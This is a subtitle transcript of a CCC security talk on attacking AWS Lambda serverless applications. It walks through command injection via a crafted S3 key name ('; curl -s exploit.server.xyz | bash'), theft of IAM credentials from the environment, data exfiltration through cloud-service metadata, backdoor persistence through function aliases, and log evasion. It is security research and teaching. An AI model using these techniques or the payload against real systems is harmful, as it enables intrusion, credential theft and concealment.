0:00:00.000,0:00:13.280 preroll music 0:00:13.280,0:00:18.950 Herald: Like in the following talk I'm[br]happy to introduce Rich Jones. Rich is 0:00:18.950,0:00:25.010 gonna talk about what he can do in 60[br]milliseconds with server-less servers. 0:00:25.010,0:00:28.660 And please give a warm[br]round of applause for Rich! 0:00:28.660,0:00:36.350 applause 0:00:36.350,0:00:44.010 Rich: Hi everybody! Thank you very much[br]for having me, for CCC for hosting, for 0:00:44.010,0:00:48.940 you guys for coming out! I appreciate it.[br]My name is Rich Jones. I'm the founder and 0:00:48.940,0:00:55.600 CTO of gun.io. We find awesome freelance[br]gigs for free and open source hackers. I'm 0:00:55.600,0:01:02.540 also the author of ZAPPA. Which is the best [br]damn server-less framework in the world. 0:01:02.540,0:01:08.380 It can run any python web application on [br]AWS lambda. You can build event driven 0:01:08.380,0:01:16.140 applications you can connect roughly [br]500.000 connections per second globally. 0:01:16.140,0:01:22.170 Without any operations support right [br]out of the box for your existing apps. 0:01:22.170,0:01:29.320 I first announced it about 6 months[br]ago actually at Hack & Tell event at 0:01:29.320,0:01:34.630 C-Base and now it is like used in[br]production by all sorts of big companies 0:01:34.630,0:01:41.020 which is pretty cool! You should try it out.[br]Welcome to my talk, it is called Gone in 0:01:41.020,0:01:46.700 60 Milliseconds! aka having a sexy title[br]gets your talk accepted at conferences. 0:01:46.700,0:01:53.310 aka Intrusion and Exfiltration in[br]Server-less Architectures. Whoooh. What the 0:01:53.310,0:02:01.939 hell does that mean? Quick poll. Who here[br]is familiar with AWS Lambda? Okay, so 0:02:01.939,0:02:08.130 about half, that's pretty good. That's[br]what I was expecting. Okay, great. For the 0:02:08.130,0:02:14.650 unfamiliar, the good old days of servers.[br]You would have the web server it would 0:02:14.650,0:02:19.070 connect to the database and that was[br]pretty much it it would – you'd have the 0:02:19.070,0:02:23.910 server. You'd have one server, you'ld[br]probably run lots of services off that 0:02:23.910,0:02:30.710 server so if you found a debug panel or[br]something like that, you could use one of 0:02:30.710,0:02:35.530 your favorite tools, you could get a shell[br]and basically run a mock I know is the 0:02:35.530,0:02:44.140 best. With the server-less architecture[br]this one example it uses instead of a 0:02:44.140,0:02:49.720 permanent web-server it uses this service[br]called AWS Lambda which provides no 0:02:49.720,0:02:55.890 permanent infrastructure Your entire[br]application function is held in cache by 0:02:55.890,0:03:02.570 Amazon AWS and it's spawned and destroyed[br]on a per-request basis. So in the space of 0:03:02.570,0:03:07.780 a single web request or whatever function[br]request, it creates the container, returns 0:03:07.780,0:03:13.110 and destroys the container. The code[br]execution is triggered by a variety of 0:03:13.110,0:03:19.440 cloud event sources every request is in an[br]isolated container. I'm gonna put an 0:03:19.440,0:03:24.700 asterisk next to next to isolated as you[br]see. The big advantage for the company is 0:03:24.700,0:03:29.030 that it's super scalable. So, because one[br]request is one server it means that 10 0:03:29.030,0:03:32.342 requests is 10 servers and so on and so on[br]and so on. So you can scale this all the 0:03:32.342,0:03:37.370 way up to like trillions of events per[br]year which is pretty cool. It's also much 0:03:37.370,0:03:44.220 less expensive because you pay by the[br]millisecond .000002 dollars per 0:03:44.220,0:03:49.570 millisecond which interestingly is now the[br]same in euros keep an eye on that, 0:03:49.570,0:03:56.930 I was surprised by. Security patches to the[br]operating system are automatic because 0:03:56.930,0:04:00.630 Amazon handles them so there is basically[br]you don't worry about the operating system 0:04:00.630,0:04:05.920 at all you only worry about your single[br]function which saves time, saves money, 0:04:05.920,0:04:11.920 and lets you fire all people who work in[br]OPS. Some common patterns that you see for 0:04:11.920,0:04:16.798 companies and, you know, services are[br]using lambda. One is just the web server 0:04:16.798,0:04:22.950 this is like if you already use zappa for[br]a django CMS or something like this. It's 0:04:22.950,0:04:29.460 just API gateway, another AWS service to[br]lambda, which is the one we saw before 0:04:29.460,0:04:32.830 Another common way that people are using[br]this for asynchronous data processing. 0:04:32.830,0:04:37.330 So if you have a file upload, that will then[br]execute the lambda function which will 0:04:37.330,0:04:44.610 store the result in a DynamoDB store and[br]then have that trigger the upload to the 0:04:44.610,0:04:53.909 S3 return bucket. So this is kind of like[br]a very simple microservice type framework 0:04:53.909,0:05:00.320 that you can use lambda for. Chat bots is[br]another common use case So if you having a 0:05:00.320,0:05:05.000 SMS Message or an e-mail exchange with a[br]robot, it could be through lambda or one 0:05:05.000,0:05:10.759 of those cool new like echo things. Maybe[br]we will be able to like actually hack 0:05:10.759,0:05:15.770 through those in the future using some of[br]these techniques. So you can kind of see 0:05:15.770,0:05:21.780 that there. And the big one that a lot of[br]companies are using like fintech and 0:05:21.780,0:05:28.340 medical and science companies are using[br]for is is kind of the driving engine for 0:05:28.340,0:05:32.289 the state machine in big data processing.[br]This is kind of the interesting one that 0:05:32.289,0:05:39.240 we get into a little bit more later in the[br]talk So the lambda kind of drives the 0:05:39.240,0:05:47.069 queue which is how the like big data[br]processing like compute cluster is knowing 0:05:47.069,0:05:51.840 what to do. And there is loads more of[br]these patterns but those are some of the 0:05:51.840,0:05:57.060 ones that I've seen pretty commonly. So[br]when you try to attack these kind of 0:05:57.060,0:06:01.650 applications it probably won't work. And[br]even if it does work, it will shut down 0:06:01.650,0:06:07.629 immediately because they live in these[br]short lived isolated container which is 0:06:07.629,0:06:12.749 no fun. The container dies after the[br]function returns. Oh no! What does that 0:06:12.749,0:06:16.620 mean for us? Us hackers. I mean it is[br]harder to infiltrate because there is less 0:06:16.620,0:06:21.680 common code most of the stuff is custom so[br]far. You can't use the same wordpress 0:06:21.680,0:06:27.419 vulnerability over and over again. The[br]services are isolated, the functions are 0:06:27.419,0:06:33.680 isolated, there is no users to really[br]escalate on the system. There's no 0:06:33.680,0:06:37.870 sysadmins to, you know, do your cool cron[br]tricks or whatever, for gaining 0:06:37.870,0:06:44.940 escalation. It's also harder to persist[br]our malware because it immediately dies as 0:06:44.940,0:06:49.910 soon as the container closes. It is also a[br]read-only filesystem, so we can't hide our 0:06:49.910,0:06:56.229 files deep in the operating system And[br]it's only a sub-second lifecycle for the 0:06:56.229,0:07:01.439 entire container anyway. There is no[br]initialization system to infect because 0:07:01.439,0:07:08.169 that is all taken care of by amazon and we[br]can't get at it. It is also harder to 0:07:08.169,0:07:12.779 exfiltrate, because there is a thing[br]called the virtual private cloud AWS 0:07:12.779,0:07:18.259 provides. There's also function specific[br]roles which means a very strict 0:07:18.259,0:07:24.690 permissioning system. A lot times we can't [br]get a reverse shell because there is no network 0:07:24.690,0:07:30.400 access. So basically sad face. Oh no,[br]we're totally boned! 0:07:30.400,0:07:38.030 No we're not, hell not, dog. When Bezos [br]closes a door, he opens a window. 0:07:38.030,0:07:46.950 laughter[br]applause 0:07:46.950,0:07:53.259 So we gonna learn some recon, some[br]infiltration, some exploitation, some 0:07:53.259,0:08:01.090 exfiltration and a little bit of cleanup![br]Part 0: Recon aka How the hell do we know 0:08:01.090,0:08:06.389 what we're attacking? There's gonna be two[br]attack surfaces. An outer and inner attack 0:08:06.389,0:08:14.430 surface for a lambda function. The outer[br]attack surfaces are the API Gateway so if 0:08:14.430,0:08:20.569 you look at the headers and you see that[br]it's serving dynamic content from 0:08:20.569,0:08:26.340 CloudFront, that might an indication that[br]you're dealing with API Gateway. 0:08:26.340,0:08:30.430 File uploads is pretty easy if you look at[br]whatever the upload endpoint is and you 0:08:30.430,0:08:35.179 look at headers that says it is S3 that[br]probably means that it's S3. If you look at 0:08:35.179,0:08:38.620 the email headers that you you're[br]communication to the function with you can 0:08:38.620,0:08:44.550 see that it is Amazon SES so that is[br]pretty obvious. There is also the inner 0:08:44.550,0:08:49.060 attack surface. So these are services that[br]we can't access directly, but provide 0:08:49.060,0:08:54.630 event sources for the function, so this[br]can mean a whole bunch of stuff, so queues 0:08:54.630,0:08:59.250 if there are a lot of long running tasks[br]and it's on AWS, it is possible that they 0:08:59.250,0:09:05.480 are using the SQS queing system. But it[br]can also mean database events, streams of 0:09:05.480,0:09:10.480 information, user events, so logins and[br]user creations and stuff like that can 0:09:10.480,0:09:17.710 also be an event source. And the log[br]system itself can provide an event source. 0:09:17.710,0:09:25.980 Part 1 infiltration aka how the hell are[br]we gonna weaponize all that? So lambda 0:09:25.980,0:09:30.990 functions essentially what the application[br]is, is kind of like a blue ball machine here. 0:09:30.990,0:09:37.770 What we call Rube Goldberg machines.[br]I just learned, for the translators, that 0:09:37.770,0:09:43.200 you guys call these nonsense machines.[br]Essentially lots of little functions and a 0:09:43.200,0:09:48.080 lot of passing information between them.[br]So to figure out what's going on, we're 0:09:48.080,0:09:54.560 going to use a process of destructive[br]mechanics aka dropping a bolt into the 0:09:54.560,0:09:58.330 engine and then listening to the sound[br]that it makes to try to figure out what is 0:09:58.330,0:10:06.130 going on inside. The TL;DR of that is we[br]gonna attack the event sources themselves, 0:10:06.130,0:10:10.850 we're going to fire off every type of[br]cloud event service that we can and 0:10:10.850,0:10:18.010 basically see what shakes out. The usual[br]suspects for infection, unsanitized input, 0:10:18.010,0:10:25.090 deserialization bugs of all, you know all[br]varieties, server side script injection, 0:10:25.090,0:10:30.280 malicious binary files, and if it is a web[br]server, most of your favorite web 0:10:30.280,0:10:35.660 application type exploits. So just as a[br]very trivial example of the kind of things 0:10:35.660,0:10:43.630 that you might see here, So here is some[br]trivially vulnerable code it's connecting 0:10:43.630,0:10:51.600 to an S3 bucket, it's going over the items[br]and it's calling some process on the keys 0:10:51.600,0:10:59.310 that are in the bucket. But what happens[br]if we create an object called: "; curl -s 0:10:59.310,0:11:04.940 exploit.server.xyz | bash" well than[br]that's gonna expand because it is just 0:11:04.940,0:11:13.200 using the key name to call, you know, our[br]exploit code on the lambda function. 0:11:13.200,0:11:22.160 Hurray! we did it! Part 2 exploitation aka[br]how can we escalate our infection? aka 0:11:22.160,0:11:28.810 what the hell is a lambda? aka what's[br]worth stealing? So if we actually find, 0:11:28.810,0:11:31.970 you know, if we just look at the operating[br]system of a lambda, now that we're able to 0:11:31.970,0:11:36.730 execute commands on it. Well that won't[br]work as we don't have a shell, everything 0:11:36.730,0:11:46.150 on lambda had this event context pattern[br]in it, whatever but if we do the find and 0:11:46.150,0:11:52.680 we look at it, it pretty much looks like[br]standard redhat 6 installation it's got 0:11:52.680,0:11:57.760 python 2.7, interestingly it has python[br]3.4 on it, it's got node, it's got perl, 0:11:57.760,0:12:04.140 it's got gcc, it's got all you know, stuff[br]that we like. Which is pretty good. If we 0:12:04.140,0:12:08.390 look at the system even further, we'll see[br]that it's running an operating system 0:12:08.390,0:12:14.890 called Amazon Linux, which is the default[br]for EC2, so maybe it's an EC2 server. 0:12:14.890,0:12:20.870 If it's an EC2 server, can we access the[br]metainfo server? That's a good idea! For 0:12:20.870,0:12:25.521 For those who don't know about the meta-[br]data server, from Amazon docs: Instance 0:12:25.521,0:12:29.330 metadata is data about your instance that[br]you can use to configure or manage the 0:12:29.330,0:12:33.450 running instance, anyone who can access[br]the instance can view its metadata. 0:12:33.450,0:12:38.220 Therefore, you should take suitable[br]precautions to protect sensitive data aka 0:12:38.220,0:12:41.620 don't get hacked, because people can look[br]at this stuff. We can figure out all this 0:12:41.620,0:12:46.331 information including keys and users and[br]security groups so, you know, really good, 0:12:46.331,0:12:53.280 good intel. What happens if we try to[br]access the server? It doesn't work, so, 0:12:53.280,0:12:57.170 sorry. But that's a good trick to remember[br]if you are attacking EC2, that you can get 0:12:57.170,0:13:01.899 a lot of information out of the metainfo[br]server. Now you're thinking, well let's take a 0:13:01.899,0:13:06.040 look at the environment, let's look around[br]what's in the environment variables. 0:13:06.040,0:13:10.360 Quite a lot actually including some inter-[br]esting stuff like session tokens, security 0:13:10.360,0:13:17.080 tokens, access key IDs and secret access [br]keys. So that's pretty cool. What are 0:13:17.080,0:13:25.260 those? Enter IAM, so this is Amazons[br]identity and access management system 0:13:25.260,0:13:32.670 which provides per resource authentication[br]and authorisation definition. So basically 0:13:32.670,0:13:39.370 1 task is gonna have 1, you know, set of[br]authorisation to perform its functions. 0:13:39.370,0:13:46.470 It sounds bad, it is. Like it makes our [br]job a lot harder. The good news is that 0:13:46.470,0:13:51.260 it's super easy to fuck up! Pretty much[br]everybody who's using IAM has probably 0:13:51.260,0:13:56.290 fucked up. Especially if you read the[br]documentations which Amazon provides which 0:13:56.290,0:14:02.930 is terrible, or even badder if they got[br]their information from the AWS forum where 0:14:02.930,0:14:09.170 you can find like real gems of wisdom[br]about give everybody access to everything, 0:14:09.170,0:14:13.640 which is nice. So full disclosure,[br]everything all the fun stuff that we're 0:14:13.640,0:14:20.000 gonna do, does depend on them having[br]some misconfigured IAM even subtly 0:14:20.000,0:14:26.780 misconfigured IAM which isn't as cool, I[br]have to admit but it's pretty common, so I 0:14:26.780,0:14:32.610 don't think it's unreasonable to have[br]that, be part of our attack criteria. 0:14:32.610,0:14:38.600 So what the keys that we saw, were part of[br]the lambda execution policy which uses 0:14:38.600,0:14:43.670 this permission called iam:PassRole[br]basically you take a predefined policy for 0:14:43.670,0:14:48.120 what a function is allowed to do. It[br]creates a temporary user with those 0:14:48.120,0:14:52.930 permissions and gives the credentials for[br]that user into the userspace in those 0:14:52.930,0:14:59.820 environment variables that we saw. So this[br]is one of the ones that Amazon recommends, 0:14:59.820,0:15:07.590 this is the AWS VPCAccessExecutionRole[br]this is from Amazons documentation and 0:15:07.590,0:15:13.880 this actually provides some interesting[br]things that we're gonna be able to use. 0:15:13.880,0:15:19.200 Resource:* is a great one because that[br]means we have access to everything 0:15:19.200,0:15:23.360 available to the account We will need to[br]create log groups and streams, which is 0:15:23.360,0:15:27.320 kind of interesting. Describing the[br]network interface is also super 0:15:27.320,0:15:31.670 interesting for us. And this will come in[br]handy later. Okay, so we can describe the 0:15:31.670,0:15:37.000 network What about actually like infecting[br]the application source? Like we wanna add 0:15:37.000,0:15:40.300 a backdoor. But first, where does the code[br]live? So we check the environment 0:15:40.300,0:15:48.910 variables again we see this key value for[br]LAMBDA_TASK_ROOT which is good so we will 0:15:48.910,0:15:54.450 just cat our backdoor into the application[br]No that is not gonna work. Sad face, 0:15:54.450,0:15:59.601 because it's a read-only filesystem. [br]And even if you could, write to that, you 0:15:59.601,0:16:05.360 know, write to the filesystem, it's not[br]gonna persist for other users who, to call 0:16:05.360,0:16:09.370 the function because it's not cached in[br]memory so it would only live for the span 0:16:09.370,0:16:14.620 of a single HTTP request which we don't[br]care about. But, I got all of these cool, 0:16:14.620,0:16:20.810 like hacker tools I wanna install on the[br]system how do I do that? Fortunately there 0:16:20.810,0:16:25.250 is /tmp space on the disk because some,[br]you know, normal applications are gonna 0:16:25.250,0:16:31.650 need to read and write files and stuff so[br]/tmp is totally readable and it works as 0:16:31.650,0:16:39.990 we'd expected to. Amazon describes this as[br]ephemeral disk capacity. But ephemeral 0:16:39.990,0:16:46.560 isn't quite true actually, because this is[br]how lambda executions are not completely 0:16:46.560,0:16:54.070 isolated. For performance reasons they're[br]actually cached in Amazons memory across 0:16:54.070,0:17:00.920 different executions. So because /tmp is a[br]ram disk, and because ram is cached that 0:17:00.920,0:17:07.730 means that /tmp is cached as well, so if[br]we can store our tools across multiple 0:17:07.730,0:17:14.299 executions. Yay! But the caveat for that is[br]that we have to keep the function warm in 0:17:14.299,0:17:20.780 memory by calling it every so often That[br]length of time is 4 minutes, 30 seconds 0:17:20.780,0:17:25.329 Somebody violated an NDA to tell you that,[br]don't ask me 0:17:25.329,0:17:28.009 laughing 0:17:28.009,0:17:33.059 applause 0:17:33.059,0:17:36.630 What's cool is this actually can also[br]apply to long running processes aswell. 0:17:36.630,0:17:43.129 It won't keep the function open, but it[br]will, kind of, pause the process and then 0:17:43.129,0:17:51.549 reopen it on the next execution. So now we[br]can install, if we have linux x86_64 0:17:51.549,0:17:56.980 compiled versions of all our favorite[br]tools we could put them on to the lambda 0:17:56.980,0:18:02.320 function and start calling it. Okay, so[br]now we got some keys, we got some tools, 0:18:02.320,0:18:07.549 what can we do? So the first thing that we[br]probably wanna do, is just see what we're 0:18:07.549,0:18:14.940 allowed to do. Using the AWS CLI tool we[br]can call this code and we will get back a 0:18:14.940,0:18:21.819 policy, and if we're lucky, it 'll be [br]** and then we can do whatever we want. 0:18:21.819,0:18:28.890 Jackpot! We can create a new admin user[br]and pillage all the databases basically, 0:18:28.890,0:18:36.759 it's game over! Yeah right! Maybe it'll[br]happen probably yeah right. A very brief 0:18:36.759,0:18:42.660 interlude. If you do get the jackpot, if[br]you are looking at Facebook's AWS usage and 0:18:42.660,0:18:49.380 you get *****. Don't sell the user info to[br]spammers. Don't claim a bug bounty. Don't 0:18:49.380,0:18:55.789 just like use their creditcard to mine[br]bitcoin. Don't tell, you know, your 0:18:55.789,0:19:02.370 favorite TLA. Don't even send all the[br]information to Julian, he's busy. Bug 0:19:02.370,0:19:07.260 bounties are boring. Espionage is boring.[br]I'm tired of all this like spy vs spy stuff. 0:19:07.260,0:19:12.689 Use your skills of infection for awesome.[br]Put up a bad-ass hacking crew name, you know. 0:19:12.689,0:19:15.549 laughing 0:19:15.549,0:19:19.570 Put spooky skulls, put a bunch of[br]spooky skulls on facebook. 0:19:19.570,0:19:25.370 Put your IRC homies, know what's up[br]applause 0:19:25.370,0:19:32.220 I'm pretty serious about this, actually.[br]Like I think the word losing some like 0:19:32.220,0:19:37.070 aesthetic quality to our culture in[br]pursuit of like money and like you know, 0:19:37.070,0:19:43.950 careers and stuff like that. But I think[br]the aesthetic value actually has like more 0:19:43.950,0:19:49.309 worth and that over time is like, the[br]broader community begins to respect like 0:19:49.309,0:19:54.760 our aesthetic contributions, like the[br]those hacks will actually be worth more in 0:19:54.760,0:20:02.510 the long run than any bug bounty that you[br]'ll get now. So like keep it real, anyway, 0:20:02.510,0:20:03.620 that was my side. 0:20:03.620,0:20:09.010 applause 0:20:09.010,0:20:17.080 So far more likely than ., you gonna get[br]some kind of like strict permission, like 0:20:17.080,0:20:23.179 the ability to access S3 objects, or the[br]the ability to access the database, or 0:20:23.179,0:20:29.879 some combination thereof using various,[br]different cloud services available. How 0:20:29.879,0:20:34.149 can we use that for nefarious purposes you[br]wondering. That's a great question. Part 3: 0:20:34.149,0:20:41.809 Exfiltration aka take the money and run[br]aka the fun part. TL;DR when you don't have 0:20:41.809,0:20:46.610 a direct network connection, to the things[br]that you wanna access, because you using a 0:20:46.610,0:20:52.110 cloud provider, you can use tags, meta[br]information, and the cloud services 0:20:52.110,0:20:58.580 themselves to shuttle information out of[br]the cloud. So easy mode for instance, if we 0:20:58.580,0:21:04.679 see that we have SES permissions, send,[br]use the email, send, you know, we have a 0:21:04.679,0:21:08.029 single function that will let us send an[br]email out because it's a cloud provider 0:21:08.029,0:21:14.080 that has an e-mail service. Or send a SMS,[br]you know, you could actually, you can hack 0:21:14.080,0:21:21.080 something and get the results back to your[br]virtual cellphone. Slightly harder, if you 0:21:21.080,0:21:27.630 just have S3 objects, you could, you know,[br]zip up the source of the application, put 0:21:27.630,0:21:37.470 it on S3 and get it out that way. The fun[br]thing is VPC exfiltration. So this is the 0:21:37.470,0:21:40.320 architecture that we were talking about[br]before It's a simple vibration but this is 0:21:40.320,0:21:46.409 this is a pretty common architecture for[br]big data using lambda. What is a VPC? 0:21:46.409,0:21:50.850 Great question! Amazon VPC provides[br]advanced security features such as 0:21:50.850,0:21:55.529 security groups and network access control[br]lists to enable inbound and outbound 0:21:55.529,0:22:01.580 filtering at the instance level and subnet[br]level. Sounds bad. It is. The good news. 0:22:01.580,0:22:08.009 Super easy to fuck up! Especially if you[br]read Amazons old docs and the AWS forum. 0:22:08.009,0:22:16.309 So lambda has access to these VPC resources. [br]aka Lambda is our VPC hole puncher. 0:22:16.309,0:22:20.610 If you're, you know, depending on how[br]they've implemented it, this may actually 0:22:20.610,0:22:27.269 mean that Amazon can access your internal[br]corporate network, which is pretty cool. 0:22:27.269,0:22:30.970 But we don't actually even need to use the[br]network to do that, so I'm not gonna show 0:22:30.970,0:22:36.429 you how to do that one, you figure that[br]out on your own, to exfil from a VPC 0:22:36.429,0:22:42.529 without touching the VPC network. So this[br]is our architecture. Step 1, upload the 0:22:42.529,0:22:49.590 malicious file, like I've indicated here[br]with a cool cyber skull. This will give us 0:22:49.590,0:22:56.379 code execution in the Lambda environment.[br]We gonna put out a bunch of canaries. So 0:22:56.379,0:23:02.519 we're gonna try calling SMS, e-mail, DNS,[br]S3, queues, everything that is available 0:23:02.519,0:23:07.049 to us, just try to put some information[br]out that we can read back. In this case we 0:23:07.049,0:23:12.960 see that we can type our results into the[br]bucket, so we can get information that way. 0:23:12.960,0:23:18.550 So we have bidirectional communication [br]to an owned lambda service. 0:23:18.550,0:23:24.250 When we use the keys that we've exfiltrated[br]that way, we look at the policy, 0:23:24.250,0:23:29.879 we see that we have the lambda VPC[br]access execution role from earlier, with 0:23:29.879,0:23:35.190 resource * which is nice and our[br]DescribeNetworkInterfaces create network 0:23:35.190,0:23:38.809 interfaces permessions that we saw[br]earlier, that Amazon recommends as well as 0:23:38.809,0:23:46.150 simple S3 and SQS access just for the[br]necessary functions that we want for the 0:23:46.150,0:23:53.330 application. Our target in this case is the[br]database which is still inside the VPC, so 0:23:53.330,0:23:58.850 we no access to, direct access to the[br]database from our lambda execution 0:23:58.850,0:24:03.899 environment because it's all wrapped up in[br]this VPC. But what we can do is, we can 0:24:03.899,0:24:11.940 add things to the SQS queue. And if they're[br]using Celery, actually uses pickle, is a 0:24:11.940,0:24:17.029 way to shuttle information about – for the[br]javascript developers, it's a bit like 0:24:17.029,0:24:23.999 using eval to figure out javascript. So if[br]we're able to add something, to, or, this 0:24:23.999,0:24:27.989 is kind of manoeuvrer, like this is use [br]whatever technique that, 0:24:27.989,0:24:33.789 you know, you prefer from there [br]to get your code on to the cluster 0:24:33.789,0:24:40.070 but we're gonna use this pickle celery bug[br]to create an item on the queue, 0:24:40.070,0:24:45.909 a malicious item on the queue, that will[br]then be picked up and run on the compute 0:24:45.909,0:24:51.470 cluster. So now we have code execution on[br]the cluster, but we have no way to 0:24:51.470,0:24:56.389 actually directly communicating to it,[br]because we're locked out of the VPC. What 0:24:56.389,0:25:01.549 do we do now? So the interesting this is[br]actually use meta information about the 0:25:01.549,0:25:08.330 VPC to exfil the information that we want,[br]so because we have the ability to describe 0:25:08.330,0:25:17.860 network interfaces, inside the VPC, we[br]call, we add tags, to this, to the EC2 0:25:17.860,0:25:22.149 instances and the network interfaces to[br]which they communicate. A lot of times 0:25:22.149,0:25:26.820 they have this permission because tagging[br]is useful for the admins who wanna see 0:25:26.820,0:25:33.700 what groups are owning what So we can add[br]the meta information about that to the 0:25:33.700,0:25:38.389 network interface itself because the[br]lambda has the ability to read these tags 0:25:38.389,0:25:43.140 back out, we can then get the information[br]that we want, we can put it through the S3 0:25:43.140,0:25:49.999 and we can extract the information[br]this way. So nice! This also works for the 0:25:49.999,0:25:56.000 application binaries because we can encode[br]something in Base64 and then put that in 0:25:56.000,0:26:03.669 the tag set, and get that out that way[br]Which is nice! Similarly is the compute 0:26:03.669,0:26:08.509 cluster able to modify DNS entries that we[br]can read, or is it able to create a named 0:26:08.509,0:26:14.009 log groups, is it able to create queues,[br]is it able to create buckets, etc, etc be 0:26:14.009,0:26:19.480 creative with the AWS services the're[br]available, there is lots! And a single 0:26:19.480,0:26:23.149 overlapping permission can be enough In[br]fact, even a single overlapping service 0:26:23.149,0:26:29.799 can be enough for information exfiltration[br]for instance you can encode information in 0:26:29.799,0:26:34.080 the length of the queue and then read that[br]back out you could use the same thing with 0:26:34.080,0:26:37.889 the number of number of network interfaces[br]that are available besides of the 0:26:37.889,0:26:43.419 database, anything like that. So that's[br]pretty cool! What if they fix the bug? 0:26:43.419,0:26:48.039 Persistence, aka how can we permanently[br]infect a system with no permanent 0:26:48.039,0:26:54.210 infrastructure? aka abusing cloud vendor[br]features, continued. One neat lambda 0:26:54.210,0:26:57.639 feature that is available is the idea of[br]function aliasing so Amazon will 0:26:57.639,0:27:02.100 automatically give you like labels for the[br]available functions, and store all of the 0:27:02.100,0:27:07.249 old functions with aliases for you, which[br]is useful for, you know, application 0:27:07.249,0:27:11.279 maintainers because they can provide[br]rollbacks and something goes wrong, they 0:27:11.279,0:27:15.509 can tag their dev and prod and staging[br]environments and stuff like that as an 0:27:15.509,0:27:22.059 audit trail. But we can also use it to[br]persist our malware. So we can get the 0:27:22.059,0:27:26.989 function, get the source code for any[br]function that's available this way, we can 0:27:26.989,0:27:33.450 upload a backdoored version of that and[br]then alias it to one of those previous 0:27:33.450,0:27:38.809 functions and hide it there if we need to[br]access it without having it, be uploaded 0:27:38.809,0:27:42.350 every time. An alternate route, which is[br]especially useful if the application is 0:27:42.350,0:27:47.029 being deployed by travis, or some CI[br]system, anything that uses CloudFormation. 0:27:47.029,0:27:54.080 CloudFormation requires the code to be[br]hosted on S3 permanently, for doing it's 0:27:54.080,0:27:59.130 update function. So if we just infect the[br]code that's on S3, the next time that the 0:27:59.130,0:28:06.590 CI updates the application stack, it'll[br]use our infected code, which is useful. 0:28:06.590,0:28:11.109 This is cool because if we have access to[br]the code buckets, than we can actually use 0:28:11.109,0:28:16.570 a single infected lambda to infect all the[br]other lambda functions that are available 0:28:16.570,0:28:23.159 in the stack. One better is to actually[br]treat the entire model serverlessly. 0:28:23.159,0:28:29.630 So imagine if we have a simple application[br]using the Foo lambda that's triggered when 0:28:29.630,0:28:35.960 there is a SQS event. Which is actually[br]gonna be one function and then all the old 0:28:35.960,0:28:42.610 functions aliased all the way back to[br]function 1. So if we can infect this one 0:28:42.610,0:28:50.119 with some bug that we're exploiting, and[br]we're able to create a backdoored function 0:28:50.119,0:28:54.450 we can use the same code, create the new[br]function, but it's backdoored, and then 0:28:54.450,0:29:00.419 alias that back to the first function[br]that'll now contain our backdoored code, 0:29:00.419,0:29:07.109 we can create an event trigger, so that[br]whenever new code is updated, is submitted 0:29:07.109,0:29:12.029 to the S3 bucket where the functions are[br]registered, that will actually trigger the 0:29:12.029,0:29:19.320 execution of our malware, which will get[br]the code of the new function infected with 0:29:19.320,0:29:24.840 our backdoor, recreate the function,[br]delete the new one, and then we have, you 0:29:24.840,0:29:30.390 know, our backdoored version of the latest[br]code that is permanently available for 0:29:30.390,0:29:37.960 every request, new code uploads are the[br]trigger for reinfection of our malware. 0:29:37.960,0:29:42.960 Part 5 cleaning up I'll go fast here, is[br]boring. Full disclosure, I'm not very 0:29:42.960,0:29:49.769 tidy, so be careful with all this stuff if[br]you need to be real stealthy. All lambda 0:29:49.769,0:29:53.230 executions have unique execution IDs, if[br]you just write them down, you can delete 0:29:53.230,0:29:58.320 them later. But the errors there still[br]gonna trigger the CloudWatch alarms, so 0:29:58.320,0:30:04.569 can you hop off the log group, that's also[br]available in the environment variables? 0:30:04.569,0:30:09.489 No you can't, but you can change the[br]retention policy, so, maybe we can just 0:30:09.489,0:30:14.210 have it's own, and hopefully they don't[br]look at logs. That's not very good, a 0:30:14.210,0:30:20.539 better technique is actually to don't log[br]anything to begin with. So because these 0:30:20.539,0:30:25.679 functions have extremely limited memory[br]size, cause they only build to do one 0:30:25.679,0:30:31.859 thing, if we exhaust the memory of the[br]function, there's not enough memory to 0:30:31.859,0:30:39.119 actually do the logging properly, so if we[br]wrap all of our canary code inside of 0:30:39.119,0:30:44.299 exception handlers, that'll then just[br]allocate all the memory that's available, 0:30:44.299,0:30:49.229 then it doesn't count as an invocation[br]error and it won't actually register ... 0:30:49.229,0:30:54.889 applause 0:30:54.889,0:31:00.160 Shout out to Dee, he told me that trick, [br]my friend. One copy out of this, one 0:31:00.160,0:31:06.450 pattern is to... time did go super fast...[br]if they are logging everything, the flip 0:31:06.450,0:31:09.630 side of that is that they're logging[br]everything so that you can go and get 0:31:09.630,0:31:16.190 everybodys password and stuff, so that's[br]fun. Part 6 synthesis happy Christmas, 0:31:16.190,0:31:24.379 everybody, ho ho ho, I'm Santa Claus and[br]I'm giving you a present I'm giving you an 0:31:24.379,0:31:29.879 AWS Lambda Infection Toolkit! Call mackenzie[br]you can figure out why on your own. 0:31:29.879,0:31:37.400 It can do a lot of the tricks that we[br]talked about today. Exfil, infiltration, 0:31:37.400,0:31:43.380 creating reinfection handlers, all the[br]stuff, maybe your feature, put it on 0:31:43.380,0:31:48.950 github this afternoon, check it out! In[br]conclusion, server-less architectures present 0:31:48.950,0:31:53.350 new obstacles, but we can defeat those[br]obstacles by abusing cloud features 0:31:53.350,0:31:56.740 themselves. Do you need secure serverless[br]apps, you should hire me. 0:31:56.740,0:31:57.740 laughing 0:31:57.740,0:32:01.379 Do you want to contribute code, you should[br]check out my github. You should also check 0:32:01.379,0:32:04.609 out the slack channel. Shout out to[br]everybody in the zappa slack, is a ton of 0:32:04.609,0:32:09.900 super smart AWS people doing interesting[br]things in there, thank you! 0:32:09.900,0:32:12.070 applause 0:32:12.070,0:32:16.039 Herald: Allright, perfect. 0:32:16.039,0:32:19.179 applause 0:32:19.179,0:32:24.890 Herald: Thanks a lot Rich. Unfortunately we don't[br]have any time left for Q&A, but, are you 0:32:24.890,0:32:28.760 gonna be around for questions, perfect.[br]So if you are in the room, you can just 0:32:28.760,0:32:35.839 come, ask Rich questions, if you are[br]remote, you've seen the contact possibilities. 0:32:37.529,0:32:43.026 closing music 0:32:43.026,0:33:02.000 subtitles created by c3subtitles.de[br]in the year 2017. Join, and help us!